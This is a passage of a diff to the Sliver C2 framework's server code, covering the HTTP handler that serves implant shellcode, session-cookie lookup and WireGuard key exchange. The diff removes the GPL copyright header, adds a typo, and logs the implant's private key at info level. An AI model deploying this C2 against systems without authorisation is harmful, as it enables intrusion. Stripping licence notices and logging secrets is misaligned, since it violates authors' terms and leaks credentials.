 	if len(s.SliverStage) != 0 {
 		httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
 		resp.Write(s.SliverStage)
 		httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req))
-		resp.WriteHeader(http.StatusOK)
+		resp.WriteHeader(200)
 	} else {
-		resp.WriteHeader(http.StatusNotFound)
+		resp.WriteHeader(404)
 	}
 }
 
 func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
 	for _, cookie := range req.Cookies() {
-		httpSession := s.HTTPSessions.Get(cookie.Value)
-		if httpSession != nil {
-			httpSession.Session.UpdateCheckin()
-			return httpSession
+		if cookie.Name == sessionCookieName {
+			httpSession := s.HTTPSessions.Get(cookie.Value)
+			if httpSession != nil {
+				httpSession.Session.UpdateCheckin()
+				return httpSession
+			}
+			return nil
 		}
 	}
 	return nil // No valid cookie names
@@ -762,7 +596,7 @@ func getRemoteAddr(req *http.Request) string {
 	// input we don't want to trust it.
 	ip := net.ParseIP(ipAddress)
 	if ip == nil {
-		httpLog.Warn("Failed to parse X-Header as ip address")
+		httpLog.Warnf("Failed to parse X-Header as ip address")
 		return req.RemoteAddr
 	}
 	return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String())

server/c2/tcp-wg.go

@@ -1,23 +1,5 @@
 package c2
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"bufio"
 	"bytes"
@@ -43,7 +25,7 @@ var (
 	tunIP = "100.64.0.1" // Don't let user configure this for now
 )
 
-// StartWGListener - First creates an inet.af network stack.
+// StartWGListener - First ceates an inet.af network stack.
 // then creates a Wireguard device/interface and applies configuration.
 // Go routines are spun up to handle key exchange connections, as well
 // as c2 comms connections.
@@ -164,7 +146,8 @@ func handleKeyExchangeConnection(conn net.Conn) {
 	} else {
 		wgLog.Infof("Successfully generated new wg keys")
 		message := implantPrivKey + "|" + serverPubKey + "|" + string(ip)
-		wgLog.Debugf("Sending new wg keys and IP: %s", message)
+
+		wgLog.Infof("Sending new wg keys and IP: %s", message)
 		conn.Write([]byte(message))
 	}
 }